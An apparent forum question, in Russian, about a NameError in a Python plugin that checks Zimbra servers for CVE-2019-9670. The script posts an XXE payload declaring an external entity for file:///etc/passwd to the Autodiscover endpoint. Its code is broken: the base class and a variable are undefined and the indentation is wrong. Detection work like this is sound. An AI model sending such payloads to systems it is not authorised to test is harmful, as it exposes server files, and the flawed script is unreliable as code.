NameError: имя 'VulnCheck' не определено

Когда я пытаюсь запустить следующий скрипт Python ниже, чтобы проверить, уязвима ли наша среда к CVE-2019-9670, я получаю следующее сообщение об ошибке:

Traceback (most recent call last):
File "detect.py", line 5, in <module>
class VulnChecker(VulnCheck):
NameError: name 'VulnCheck' is not defined

Вот источник скрипта Python:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#

class VulnChecker(VulnCheck):
    def __init__(self, ip_and_port_list):
    self._name = 'zimbra_xxe2rce'
    self.info = "Check the Zimbra XXE to RCE CVE-2019-9670"
    self.keyword = ['all', 'zimbra', 'xxe', 'rce', 'danger', '7071']
    self.default_ports_list = [80, 8080, 443]
    VulnCheck.__init__(self, ip_and_port_list)

def _check(self, ip, port):
    result = "Zimbra XXE to RCE CVE-2019-9670"
    url1 = "http://%s:%d/Autodiscover/Autodiscover.xml"%(ip, int(port)) if add_web_path == "" else "http://%s:%d/%s/Autodiscover/Autodiscover.xml"%(ip, int(port), add_web_path)
    url2 = "https://%s:%d/Autodiscover/Autodiscover.xml"%(ip, int(port)) if add_web_path == "" else "https://%s:%d/%s/Autodiscover/Autodiscover.xml"%(ip, int(port), add_web_path)
    data = """<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
     <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
          <EMailAddress>aaaaa</EMailAddress>
          <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    """
    try:
        req = Requester(url1, method='post', data=data, noencode=True)
        if 'Error 503 Requested response schema not available' in req.html:
            self._output(ip, port, result)
            return
    except RequesterOpenError:
        try:
            req = Requester(url2, method='post', data=data, noencode=True)
            if 'Error 503 Requested response schema not available' in req.html:
                self._output(ip, port, result)
                return
        except:
            pass
    except:
        pass

globals()['VulnChecker'] = VulnChecker